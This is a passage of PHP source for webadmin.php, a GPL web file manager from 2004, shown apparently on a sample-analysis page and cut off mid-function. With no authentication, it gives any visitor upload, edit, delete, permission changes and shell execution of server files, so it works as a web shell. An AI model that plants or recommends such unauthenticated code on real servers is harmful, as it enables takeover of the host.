Jump to:
Screenshot
Attributes
Emails
<?php
/*
* webadmin.php - a simple Web-based file manager
* Copyright (C) 2004 Daniel Wacker <daniel.wacker@web.de>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
* -------------------------------------------------------------------------
* While using this script, do NOT navigate with your browser's back and
* forward buttons! Always open files in a new browser tab!
* -------------------------------------------------------------------------
*
* This is Version 0.9, revision 10
* =========================================================================
*
* Changes of revision 10
* <alex-smirnov@web.de>
* added Russian translation
* <daniel.wacker@web.de>
* added </td> to achieve valid XHTML (thanks to Marc Magos)
* improved delete function
* <ava@asl.se>
* new list order: folders first
*
* Changes of revision 9
* <daniel.wacker@web.de>
* added workaround for directory listing, if lstat() is disabled
* fixed permisson of uploaded files (thanks to Stephan Duffner)
*
* Changes of revision 8
* <okankan@stud.sdu.edu.tr>
* added Turkish translation
* <j@kub.cz>
* added Czech translation
* <daniel.wacker@web.de>
* improved charset handling
*
* Changes of revision 7
* <szuniga@vtr.net>
* added Spanish translation
* <lars@soelgaard.net>
* added Danish translation
* <daniel.wacker@web.de>
* improved rename dialog
*
* Changes of revision 6
* <nederkoorn@tiscali.nl>
* added Dutch translation
*
* Changes of revision 5
* <daniel.wacker@web.de>
* added language auto select
* fixed symlinks in directory listing
* removed word-wrap in edit textarea
*
* Changes of revision 4
* <daloan@guideo.fr>
* added French translation
* <anders@wiik.cc>
* added Swedish translation
*
* Changes of revision 3
* <nzunta@gabriele-erba.it>
* improved Italian translation
*
* Changes of revision 2
* <daniel.wacker@web.de>
* got images work in some old browsers
* fixed creation of directories
* fixed files deletion
* improved path handling
* added missing word 'not_created'
* <till@tuxen.de>
* improved human readability of file sizes
* <nzunta@gabriele-erba.it>
* added Italian translation
*
* Changes of revision 1
* <daniel.wacker@web.de>
* webadmin.php completely rewritten:
* - clean XHTML/CSS output
* - several files selectable
* - support for windows servers
* - no more treeview, because
* - webadmin.php is a >simple< file manager
* - performance problems (too much additional code)
* - I don't like: frames, java-script, to reload after every treeview-click
* - execution of shell scripts
* - introduced revision numbers
*
/* ------------------------------------------------------------------------- */
/* Your language:
* 'en' - English
* 'de' - German
* 'fr' - French
* 'it' - Italian
* 'nl' - Dutch
* 'se' - Swedish
* 'sp' - Spanish
* 'dk' - Danish
* 'tr' - Turkish
* 'cs' - Czech
* 'ru' - Russian
* 'auto' - autoselect
*/
$lang = 'auto';
/* Charset of output:
* possible values are described in the charset table at
* http://www.php.net/manual/en/function.htmlentities.php
* 'auto' - use the same charset as the words of my language are encoded
*/
$site_charset = 'auto';
/* Homedir:
* For example: './' - the script's directory
*/
$homedir = './';
/* Size of the edit textarea
*/
$editcols = 80;
$editrows = 25;
/* -------------------------------------------
* Optional configuration (remove # to enable)
*/
/* Permission of created directories:
* For example: 0705 would be 'drwx---r-x'.
*/
# $dirpermission = 0705;
/* Permission of created files:
* For example: 0604 would be '-rw----r--'.
*/
# $filepermission = 0604;
/* Filenames related to the apache web server:
*/
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';
/* ------------------------------------------------------------------------- */
if (get_magic_quotes_gpc()) {
array_walk($_GET, 'strip');
array_walk($_POST, 'strip');
array_walk($_REQUEST, 'strip');
}
if (array_key_exists('image', $_GET)) {
header('Content-Type: image/gif');
die(getimage($_GET['image']));
}
if (!function_exists('lstat')) {
function lstat($filename)
{
return stat($filename);
}
}
$delim = DIRECTORY_SEPARATOR;
if (function_exists('php_uname')) {
$win = false;
} else {
$win = false;
}
if (!empty($_SERVER['PATH_TRANSLATED'])) {
$scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
$scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
$scriptdir = getcwd();
} else {
$scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);
$dir = array_key_exists('dir', $_REQUEST) ? $_REQUEST['dir'] : $homedir;
if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
$dir = relative2absolute($dir, $_POST['olddir']);
}
$directory = simplify_path(addslash($dir));
$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
$action = $_POST['action_all'];
for ($i = 0; $i < $_POST['num']; $i++) {
if (array_key_exists("checked{$i}", $_POST) && $_POST["checked{$i}"] == 'true') {
$files[] = $_POST["file{$i}"];
}
}
} elseif (!empty($_REQUEST['action'])) {
$action = $_REQUEST['action'];
$files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
$files[] = $_FILES['upload'];
$action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
for ($i = 0; $i < $_POST['num']; $i++) {
if (array_key_exists("submit{$i}", $_POST)) {
break;
}
}
if ($i < $_POST['num']) {
$action = $_POST["action{$i}"];
$files[] = $_POST["file{$i}"];
}
}
if (empty($action) && (!empty($_POST['submit_create']) || array_key_exists('focus', $_POST) && $_POST['focus'] == 'create') && !empty($_POST['create_name'])) {
$files[] = relative2absolute($_POST['create_name'], $directory);
switch ($_POST['create_type']) {
case 'directory':
$action = 'create_directory';
break;
case 'file':
$action = 'create_file';
}
}
if (sizeof($files) == 0) {
$action = '';
} else {
$file = reset($files);
}
if ($lang == 'auto') {
if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
} else {
$lang = 'en';
}
}
$words = getwords($lang);
if ($site_charset == 'auto') {
$site_charset = $word_charset;
}
$cols = $win ? 4 : 7;
if (!isset($dirpermission)) {
$dirpermission = function_exists('umask') ? 0777 & ~umask() : 0755;
}
if (!isset($filepermission)) {
$filepermission = function_exists('umask') ? 0666 & ~umask() : 0644;
}
if (!empty($_SERVER['SCRIPT_NAME'])) {
$self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
$self = html(basename($_SERVER['PHP_SELF']));
} else {
$self = '';
}
if (!empty($_SERVER['SERVER_SOFTWARE'])) {
if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
$apache = true;
} else {
$apache = false;
}
} else {
$apache = true;
}
switch ($action) {
case 'view':
if (is_script($file)) {
/* highlight_file is a mess! */
ob_start();
highlight_file($file);
$src = ereg_replace('<font color="([^"]*)">', '<span style="color: \\1">', ob_get_contents());
$src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
ob_end_clean();
html_header();
echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
<hr />
<table>
<tr>
<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
<pre style="margin-top: 0"><code>';
for ($i = 1; $i <= sizeof(file($file)); $i++) {
echo "{$i}\n";
}
echo '</code></pre>
</td>
<td style="text-align: left; vertical-align: top; padding-left: 3pt">
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>
';
html_footer();
} else {
header('Content-Type: ' . getmimetype($file));
header('Content-Disposition: filename=' . basename($file));
readfile($file);
}
break;
case 'download':
header('Pragma: public');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Content-Type: ' . getmimetype($file));
header('Content-Disposition: attachment; filename=' . basename($file) . ';');
header('Content-Length: ' . filesize($file));
readfile($file);
break;
case 'upload':
$dest = relative2absolute($file['name'], $directory);
if (@file_exists($dest)) {
listing_page(error('already_exists', $dest));
} elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
@chmod($dest, $filepermission);
listing_page(notice('uploaded', $file['name']));
} else {
listing_page(error('not_uploaded', $file['name']));
}
break;
case 'create_directory':
if (@file_exists($file)) {
listing_page(error('already_exists', $file));
} else {
$old = @umask(0777 & ~$dirpermission);
if (@mkdir($file, $dirpermission)) {
listing_page(notice('created', $file));
} else {
listing_page(error('not_created', $file));
}
@umask($old);
}
break;
case 'create_file':
if (@file_exists($file)) {
listing_page(error('already_exists', $file));
} else {
$old = @umask(0777 & ~$filepermission);
if (@touch($file)) {
edit($file);
} else {
listing_page(error('not_created', $file));
}
@umask($old);
}
break;
case 'execute':
chdir(dirname($file));
$output = array();
$retval = 0;
exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
$error = false;
if (sizeof($output) == 0) {
$output = array('<' . $words['no_output'] . '>');
}
if ($error) {
listing_page(error('not_executed', $file, implode("\n", $output)));
} else {
listing_page(notice('executed', $file, implode("\n", $output)));
}
break;
case 'delete':
if (!empty($_POST['no'])) {
listing_page();
} elseif (!empty($_POST['yes'])) {
$failure = array();
$success = array();
foreach ($files as $file) {
if (del($file)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_deleted', implode("\n", $failure));
}
if (sizeof($success) > 0) {
$message .= notice('deleted', implode("\n", $success));
}
listing_page($message);
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\t<b>" . word('really_delete') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
<input type="submit" name="no" value="' . word('no') . '" id="red_button" />
<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>
';
html_footer();
}
break;
case 'rename':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (!@file_exists($dest) && @rename($file, $dest)) {
listing_page(notice('renamed', $file, $dest));
} else {
listing_page(error('not_renamed', $file, $dest));
}
} else {
$name = basename($file);
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<input type="hidden" name="action" value="rename" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
<b>' . word('rename_file') . '</b>
<p>' . html($file) . '</p>
<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
<hr />
<input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'move':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
$failure = array();
$success = array();
foreach ($files as $file) {
$filename = substr($file, strlen($directory));
$d = $dest . $filename;
if (!@file_exists($d) && @rename($file, $d)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_moved', implode("\n", $failure), $dest);
}
if (sizeof($success) > 0) {
$message .= notice('moved', implode("\n", $success), $dest);
}
listing_page($message);
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\t<b>" . word('move_files') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
' . word('destination') . ':
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'copy':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (@is_dir($dest)) {
$failure = array();
$success = array();
foreach ($files as $file) {
$filename = substr($file, strlen($directory));
$d = addslash($dest) . $filename;
if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_copied', implode("\n", $failure), $dest);
}
if (sizeof($success) > 0) {
$message .= notice('copied', implode("\n", $success), $dest);
}
listing_page($message);
} else {
if (!@file_exists($dest) && @copy($file, $dest)) {
listing_page(notice('copied', $file, $dest));
} else {
listing_page(error('not_copied', $file, $dest));
}
}
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\n<b>" . word('copy_files') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
' . word('destination') . ':
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'create_symlink':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (substr($dest, -1, 1) == $delim) {
$dest .= basename($file);
}
if (!empty($_POST['relative'])) {
$file = absolute2relative(addslash(dirname($dest)), $file);
}
if (!@file_exists($dest) && @symlink($file, $dest)) {
listing_page(notice('symlinked', $file, $dest));
} else {
listing_page(error('not_symlinked', $file, $dest));
}
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog" id="symlink">
<tr>
<td style="vertical-align: top">' . word('destination') . ': </td>
<td>
<b>' . html($file) . '</b><br />
<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
<label for="checkbox_relative">' . word('relative') . '</label>
<input type="hidden" name="action" value="create_symlink" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
</td>
</tr>
<tr>
<td>' . word('symlink') . ': </td>
<td>
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('create_symlink') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'edit':
if (!empty($_POST['save'])) {
$content = str_replace("\r\n", "\n", $_POST['content']);
if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
listing_page(notice('saved', $file));
} else {
listing_page(error('not_saved', $file));
}
} else {
if (@is_readable($file) && @is_writable($file)) {
edit($file);
} else {
listing_page(error('not_edited', $file));
}
}
break;
case 'permission':
if (!empty($_POST['set'])) {
$mode = 0;
if (!empty($_POST['ur'])) {
$mode = 256;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 040;
}
if (!empty($_POST['gw'])) {
$mode |= 020;
}
if (!empty($_POST['gx'])) {
$mode |= 010;
}
if (!empty($_POST['or'])) {
$mode |= 04;
}
if (!empty($_POST['ow'])) {
$mode |= 02;
}
if (!empty($_POST['ox'])) {
$mode |= 01;
}
if (@chmod($file, $mode)) {
listing_page(notice('permission_set', $file, decoct($mode)));
} else {
listing_page(error('permission_not_set', $file, decoct($mode)));
}
} else {
html_header();
$mode = fileperms($file);
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<p style="margin: 0">' . phrase('permission_for', $file) . '</p>
<hr />
<table id="permission">
<tr>
<td></td>
<td style="border-right: 1px solid black">' . word('owner') . '</td>
<td style="border-right: 1px solid black">' . word('group') . '</td>
<td>' . word('other') . '</td>
</tr>
<tr>
<td style="text-align: right">' . word('read') . ':</td>
<td><input type="checkbox" name="ur" value="1"';
if ($mode & 0400) {
echo " checked=\"checked\"";
}
echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gr\" value=\"1\"";
if ($mode & 040) {
echo " checked=\"checked\"";
}
echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"or\" value=\"1\"";
if ($mode & 04) {
echo " checked=\"checked\"";
}
echo ' /></td>
</tr>
<tr>
<td style="text-align: right">' . word('write') . ':</td>
<td><input type="checkbox" name="uw" value="1"';
if ($mode & 0200) {
echo " checked=\"checked\"";
}
echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gw\" value=\"1\"";
if ($mode & 020) {
echo " checked=\"checked\"";
}
echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"ow\" value=\"1\"";
if ($mode & 02) {
echo " checked=\"checked\"";
}
echo ' /></td>
</tr>
<tr>
<td style="text-align: right">' . word('execute') . ':</td>
<td><input type="checkbox" name="ux" value="1"';
if ($mode & 0100) {
echo " checked=\"checked\"";
}
echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gx\" value=\"1\"";
if ($mode & 010) {
echo " checked=\"checked\"";
}
echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"ox\" value=\"1\"";
if ($mode & 01) {
echo " checked=\"checked\"";
}
echo ' /></td>
</tr>
</table>
<hr />
<input type="submit" name="set" value="' . word('set') . '" />
<input type="hidden" name="action" value="permission" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
default:
listing_page();
}
/* ------------------------------------------------------------------------- */
function getlist($directory)
{
global $delim, $win;
if ($d = @opendir($directory)) {
while (($filename = @readdir($d)) !== false) {
$path = $directory . $filename;
if ($stat = @lstat($path)) {
$file = array('filename' => $filename, 'path' => $path, 'is_file' => @is_file($path), 'is_dir' => @is_dir($path), 'is_link' => @is_link($path), 'is_readable' => @is_readable($path), 'is_writable' => @is_writable($path), 'size' => $stat['size'], 'permission' => $stat['mode'], 'owner' => $stat['uid'], 'group' => $stat['gid'], 'mtime' => @filemtime($path), 'atime' => @fileatime($path), 'ctime' => @filectime($path));
if ($file['is_dir']) {
$file['is_executable'] = @file_exists($path . $delim . '.');
} else {
if (!$win) {
$file['is_executable'] = @is_executable($path);
} else {
$file['is_executable'] = true;
}
}
if ($file['is_link']) {
$file['target'] = @readlink($path);
}
if (function_exists('posix_getpwuid')) {
$file['owner_name'] = @reset(posix_getpwuid($file['owner']));
}
if (function_exists('posix_getgrgid')) {
$file['group_name'] = @reset(posix_getgrgid($file['group']));
}
$files[] = $file;
}
}
return $files;
} else {
return false;
}
}
function sortlist($list, $key, $reverse)
{
$dirs = array();
$files = array();
for ($i = 0; $i < sizeof($list); $i++) {
if ($list[$i]['is_dir']) {
$dirs[] = $list[$i];
} else {
$files[] = $list[$i];
}
}
quicksort($dirs, 0, sizeof($dirs) - 1, $key);
if ($reverse) {
$dirs = array_reverse($dirs);
}
quicksort($files, 0, sizeof($files) - 1, $key);
if ($reverse) {
$files = array_reverse($files);
}
return array_merge($dirs, $files);
}
function quicksort(&$array, $first, $last, $key)
{
if ($first < $last) {
$cmp = $array[floor(($first + $last) / 2)][$key];
$l = $first;
$r = $last;
while ($l <= $r) {
while ($array[$l][$key] < $cmp) {
$l++;
}
while ($array[$r][$key] > $cmp) {
$r--;
}
if ($l <= $r) {
$tmp = $array[$l];
$array[$l] = $array[$r];
$array[$r] = $tmp;
$l++;
$r--;
}
}
quicksort($array, $first, $r, $key);
quicksort($array, $l, $last, $key);
}
}
function permission_octal2string($mode)
{
if (($mode & 0xc000) === 0xc000) {
$type = 's';
} elseif (($mode & 0xa000) === 0xa000) {
$type = 'l';
} elseif (($mode & 0x8000) === 0x8000) {
$type = '-';
} elseif (($mode & 0x6000) === 0x6000) {
$type = 'b';
} elseif (($mode & 0x4000) === 0x4000) {
$type = 'd';
} elseif (($mode & 0x2000) === 0x2000) {
$type = 'c';
} elseif (($mode & 0x1000) === 0x1000) {
$type = 'p';
} else {
$type = '?';
}
$owner = $mode & 0400 ? 'r' : '-';
$owner .= $mode & 0200 ? 'w' : '-';
if ($mode & 0x800) {
$owner .= $mode & 0100 ? 's' : 'S';
} else {
$owner .= $mode & 0100 ? 'x' : '-';
}
$group = $mode & 040 ? 'r' : '-';
$group .= $mode & 020 ? 'w' : '-';
if ($mode & 0x400) {
$group .= $mode & 010 ? 's' : 'S';
} else {
$group .= $mode & 010 ? 'x' : '-';
}
$other = $mode & 04 ? 'r' : '-';
$other .= $mode & 02 ? 'w' : '-';
if ($mode & 0x200) {
$other .= $mode & 01 ? 't' : 'T';
} else {
$other .= $mode & 01 ? 'x' : '-';
}
return $type . $owner . $group . $other;
}
function is_script($filename)
{
return ereg('\\.php$|\\.php3$|\\.php4$|\\.php5$', $filename);
}
function getmimetype($filename)
{
static $mimes = array('\\.jpg$|\\.jpeg$' => 'image/jpeg', '\\.gif$' => 'image/gif', '\\.png$' => 'image/png', '\\.html$|\\.html$' => 'text/html', '\\.txt$|\\.asc$' => 'text/plain', '\\.xml$|\\.xsl$' => 'application/xml', '\\.pdf$' => 'application/pdf');
foreach ($mimes as $regex => $mime) {
if (eregi($regex, $filename)) {
return $mime;
}
}
return "text/plain";
}
function del($file)
{
global $delim;
if (!file_exists($file)) {
return false;
}
if (@is_dir($file) && !@is_link($file)) {
$success = false;
if (@rmdir($file)) {
$success = true;
} elseif ($dir = @opendir($file)) {
$success = true;
while (($f = readdir($dir)) !== false) {
if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
$success = false;
}
}
closedir($dir);
if ($success) {
$success = @rmdir($file);
}
}
return $success;
}
return @unlink($file);
}
function addslash($directory)
{
global $delim;
if (substr($directory, -1, 1) != $delim) {
return $directory . $delim;
} else {
return $directory;
}
}
function relative2absolute($string, $directory)
{
if (path_is_relative($string)) {
return simplify_path(addslash($directory) . $string);
} else {
return simplify_path($string);
}
}
function path_is_relative($path)
{
global $win;
if ($win) {
return substr($path, 1, 1) != ':';
} else {
return substr($path, 0, 1) != '/';
}
}
function absolute2relative($directory, $target)
{
global $delim;
$path = '';
while ($directory != $target) {
if ($directory == substr($target, 0, strlen($directory))) {
$path .= substr($target, strlen($directory));
break;
} else {
$path .= '..' . $delim;
$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
}
}
if ($path == '') {
$path = '.';
}
return $path;
}
function simplify_path($path)
{
global $delim;
if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
$path = realpath($path);
if (@is_dir($path)) {
return addslash($path);
} else {
return $path;
}
}
$pattern = $delim . '.' . $delim;
if (@is_dir($path)) {
$path = addslash($path);
}
while (strpos($path, $pattern) !== false) {
$path = str_replace($pattern, $delim, $path);
}
$e = addslashes($delim);
$regex = $e . '((\\.[^\\.' . $e . '][^' . $e . ']*)|(\\.\\.[^' . $e . ']+)|([^\\.][^' . $e . ']*))' . $e . '\\.\\.' . $e;
while (ereg($regex, $path)) {
$path = ereg_replace($regex, $delim, $path);
}
return $path;
}
function human_filesize($filesize)
{
$suffices = 'kMGTPE';
$n = 0;
while ($filesize >= 1000) {
$filesize /= 1024;
$n++;
}
$filesize = round($filesize, 3 - strpos($filesize, '.'));
if (strpos($filesize, '.') !== false) {
while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
$filesize = substr($filesize, 0, strlen($filesize) - 1);
}
}
$suffix = $n == 0 ? '' : substr($suffices, $n - 1, 1);
return $filesize . " {$suffix}B";
}
function strip(&$str)
{
$str = stripslashes($str);
}
/* ------------------------------------------------------------------------- */
function listing_page($message = null)
{
global $self, $directory, $sort, $reverse;
html_header();
$list = getlist($directory);
if (array_key_exists('sort', $_GET)) {
$sort = $_GET['sort'];
} else {
$sort = 'filename';
}
if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') {
$reverse = true;
} else {
$reverse = false;
}
$list = sortlist($list, $sort, $reverse);
echo '<h1 style="margin-bottom: 0">webadmin.php</h1>
<form enctype="multipart/form-data" action="' . $self . '" method="post">
<table id="main">
';
directory_choice();
if (!empty($message)) {
spacer();
echo $message;
}
if (@is_writable($directory)) {
upload_box();
create_box();
} else {
spacer();
}
if ($list) {
listing($list);
} else {
echo error('not_readable', $directory);
}
echo "</table>\r\n\r\n</form>\r\n\r\n";
html_footer();
}
function listing($list)
{
global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
echo '<tr class="listing">
<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';
column_title('filename', $sort, $reverse);
column_title('size', $sort, $reverse);
if (!$win) {
column_title('permission', $sort, $reverse);
column_title('owner', $sort, $reverse);
column_title('group', $sort, $reverse);
}
echo ' <th class="functions">' . word('functions') . '</th>
</tr>
';
for ($i = 0; $i < sizeof($list); $i++) {
$file = $list[$i];
$timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
$timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
$timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
echo '<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
<td class="filename" title="' . html($timestamps) . '">';
if ($file['is_link']) {
echo '<img src="' . $self . '?image=link" alt="link" /> ';
echo html($file['filename']) . ' → ';
$real_file = relative2absolute($file['target'], $directory);
if (@is_readable($real_file)) {
if (@is_dir($real_file)) {
echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
} else {
echo '<a href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
}
} else {
echo html($file['target']);
}
} elseif ($file['is_dir']) {
echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
if ($win || $file['is_executable']) {
echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
} else {
echo html($file['filename']);
}
echo " ]";
} else {
if (substr($file['filename'], 0, 1) == '.') {
echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
} else {
echo '<img src="' . $self . '?image=file" alt="file" /> ';
}
if ($file['is_file'] && $file['is_readable']) {
echo '<a href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
} else {
echo html($file['filename']);
}
}
if ($file['size'] >= 1000) {
$human = ' title="' . human_filesize($file['size']) . '"';
} else {
$human = '';
}
echo "</td>\n";
echo "\t<td class=\"size\"{$human}>{$file['size']} B</td>\n";
if (!$win) {
echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
$l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
if ($l) {
echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">';
}
echo html(permission_octal2string($file['permission']));
if ($l) {
echo "</a>";
}
echo "</td>\n";
if (array_key_exists('owner_name', $file)) {
echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
} else {
echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
}
if (array_key_exists('group_name', $file)) {
echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
} else {
echo "\t<td class=\"group\">{$file['group']}</td>\n";
}
}
echo ' <td class="functions">
<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';
$actions = array();
if (function_exists('symlink')) {
$actions[] = 'create_symlink';
}
if (@is_writable(dirname($file['path']))) {
$actions[] = 'delete';
$actions[] = 'rename';
$actions[] = 'move';
}
if ($file['is_file'] && $file['is_readable']) {
$actions[] = 'copy';
$actions[] = 'download';
if ($file['is_writable']) {
$actions[] = 'edit';
}
}
if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
$actions[] = 'execute';
}
if (sizeof($actions) > 0) {
echo ' <select class="small" name="action' . $i . '" size="1">
<option value="">' . str_repeat(' ', 30) . '</option>
';
foreach ($actions as $action) {
echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
}
echo ' </select>
<input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" />
';
}
echo "\t</td>\r\n</tr>\r\n";
}
echo '<tr class="listing_footer">
<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt=">" /></td>
<td colspan="' . ($cols - 1) . '">
<input type="hidden" name="num" value="' . sizeof($list) . '" />
<input type="hidden" name="focus" value="" />
<input type="hidden" name="olddir" value="' . html($directory) . '" />
';
$actions = array();
if (@is_writable(dirname($file['path']))) {
$actions[] = 'delete';
$actions[] = 'move';
}
$actions[] = 'copy';
echo ' <select class="small" name="action_all" size="1">
<option value="">' . str_repeat(' ', 30) . '</option>
';
foreach ($actions as $action) {
echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
}
echo "\t\t</select>\r\n\t\t<input class=\"small\" type=\"submit\" name=\"submit_all\" value=\" > \" onfocus=\"activate('other')\" />\r\n\t</td>\r\n</tr>\r\n";
}
function column_title($column, $sort, $reverse)
{
global $self, $directory;
$d = 'dir=' . urlencode($directory) . '&';
if ($sort == $column) {
if (!$reverse) {
$r = '&reverse=true';
$arr = ' ∧';
} else {
$arr = ' ∨';
}
} else {
$r = '';
}
echo "\t<th class=\"{$column}\"><a href=\"{$self}?{$d}sort={$column}{$r}\">" . word($column) . "</a>{$arr}</th>\n";
}
function directory_choice()
{
global $directory, $homedir, $cols, $self;
echo '<tr>
<td colspan="' . $cols . '" id="directory">
